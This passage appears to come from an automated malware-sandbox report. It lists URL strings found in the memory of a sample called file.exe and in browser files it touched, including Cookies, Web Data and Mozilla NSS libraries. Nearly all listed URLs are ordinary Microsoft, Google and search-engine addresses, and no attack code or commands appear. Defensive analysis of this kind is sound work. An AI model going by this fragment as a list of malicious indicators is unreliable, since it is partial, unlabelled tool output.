Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCB.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCB.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 8e16b6fa-2f4c-4cf4-8b41-b0ca2f40d532.tmp.11.dr, 6052d31c-83b8-4476-97d3-a58ffd9292ad.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 8e16b6fa-2f4c-4cf4-8b41-b0ca2f40d532.tmp.11.dr, 6052d31c-83b8-4476-97d3-a58ffd9292ad.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCB.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EHJJKFCB.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCB.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 6052d31c-83b8-4476-97d3-a58ffd9292ad.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log10.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log10.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log10.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log10.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: FIECFBAAAFHIIDGCGCBF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log7.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log7.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log7.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
